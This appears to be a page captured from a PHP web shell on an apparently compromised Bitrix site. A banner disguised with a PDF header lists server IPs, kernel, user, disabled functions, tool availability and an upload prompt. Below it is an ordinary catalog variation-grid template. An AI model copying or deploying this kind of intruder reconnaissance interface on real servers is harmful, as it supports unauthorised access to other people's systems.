%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.217.104.118 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/catalog.productcard.variation.grid/templates/.default/ |
Upload File : |
<?php if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true) { die(); } /** * @var $component \CatalogProductVariationGridComponent * @var $this \CBitrixComponentTemplate * @var \CMain $APPLICATION * @var array $arParams * @var array $arResult */ use Bitrix\Main\Localization\Loc; use Bitrix\Main\UI\Extension; use Bitrix\Main\Web\Json; use Bitrix\UI\Util; Extension::load([ 'ui.common', 'ui.notification', 'ui.dialogs.messagebox', 'ui.hint', ]); $containerId = 'catalog_variation_grid'; $createPropertyId = $containerId.'_create_property'; $createPropertyHintId = $createPropertyId.'_hint'; $isProduct = $arParams['VARIATION_ID_LIST'] === null; ?> <div class="catalog-variation-grid" id="<?=$containerId?>"> <div class="catalog-variation-grid-content"> <?php if ($isProduct) { $disabledClass = $arResult['CAN_HAVE_SKU'] ? '' : ' ui-btn-disabled'; ?> <div class="catalog-variation-grid-add-block"> <a class="ui-btn ui-btn-sm ui-btn-light catalog-variation-grid-add-btn<?=$disabledClass?>" data-role="catalog-productcard-variation-add-row" tabindex="-1"> <?=Loc::getMessage('C_PVG_CREATE_VARIATION')?> </a> </div> <?php } ?> <?php $APPLICATION->IncludeComponent( 'bitrix:main.ui.grid', '', [ 'AJAX_MODE' => 'N', //Strongly required 'AJAX_OPTION_JUMP' => 'N', 'AJAX_OPTION_STYLE' => 'N', 'AJAX_OPTION_HISTORY' => 'N', // 'MODE' => $arResult['GRID']['MODE'], 'GRID_ID' => $arResult['GRID']['ID'], 'HEADERS' => $arResult['GRID']['HEADERS'], 'SORT' => $arResult['GRID']['SORT'], 'SORT_VARS' => $arResult['GRID']['SORT_VARS'], 'ROWS' => $arResult['GRID']['ROWS'], // 'TOTAL_ROWS_COUNT' => $arResult['GRID']['TOTAL_ROWS_COUNT'], 'ADVANCED_EDIT_MODE' => true, 'SHOW_CHECK_ALL_CHECKBOXES' => $isProduct ? $arResult['GRID']['SHOW_CHECK_ALL_CHECKBOXES'] : false, 'SHOW_ROW_CHECKBOXES' => $arResult['GRID']['SHOW_ROW_CHECKBOXES'], 'SHOW_ROW_ACTIONS_MENU' => $isProduct ? $arResult['GRID']['SHOW_ROW_ACTIONS_MENU'] : false, 'SHOW_GRID_SETTINGS_MENU' => $arResult['GRID']['SHOW_GRID_SETTINGS_MENU'], 'SHOW_NAVIGATION_PANEL' => $isProduct ? $arResult['GRID']['SHOW_NAVIGATION_PANEL'] : false, 'SHOW_PAGINATION' => $arResult['GRID']['SHOW_PAGINATION'], 'SHOW_SELECTED_COUNTER' => $arResult['GRID']['SHOW_SELECTED_COUNTER'], 'SHOW_TOTAL_COUNTER' => $arResult['GRID']['SHOW_TOTAL_COUNTER'], 'TOTAL_ROWS_COUNT' => is_array($arResult['GRID']['ROWS']) ? count($arResult['GRID']['ROWS']) : 0, 'SHOW_PAGESIZE' => $arResult['GRID']['SHOW_PAGESIZE'], 'SHOW_ACTION_PANEL' => $isProduct ? $arResult['GRID']['SHOW_ACTION_PANEL'] : false, 'ACTION_PANEL' => $isProduct ? $arResult['GRID']['ACTION_PANEL'] : false, 'HANDLE_RESPONSE_ERRORS' => true, ], $component ); ?> </div> <?php if ($arResult['CAN_HAVE_SKU'] && $isProduct) { ?> <div class="catalog-variation-grid-link"> <a class="ui-link ui-link-secondary ui-link-dashed" id="<?=$createPropertyId?>" ><?=Loc::getMessage('C_PVG_CREATE_VARIATION_PROPERTY')?></a> <a href="<?=Util::getArticleUrlByCode('13274510')?>" class="ui-hint-icon" id="<?=$createPropertyHintId?>"></a> </div> <?php } ?> </div> <script> BX.message(<?=Json::encode(Loc::loadLanguageFile(__FILE__))?>); BX(function() { BX.Catalog.VariationGrid.Instance = new BX.Catalog.VariationGrid(<?=CUtil::PhpToJSObject([ 'createPropertyId' => $createPropertyId, 'createPropertyHintId' => $createPropertyHintId, 'gridId' => $component->getGridId(), 'isGridReload' => $component->isAjaxGridAction(), 'isNew' => $component->isNewProduct(), 'hiddenProperties' => $arResult['GRID']['HIDDEN_PROPERTIES'], 'modifyPropertyLink' => $arResult['PROPERTY_MODIFY_LINK'], 'gridEditData' => $arResult['GRID']['EDIT_DATA'], 'canHaveSku' => $arResult['CAN_HAVE_SKU'], 'copyItemsMap' => $arResult['COPY_ITEM_MAP'] ?? null, ])?>); }); </script>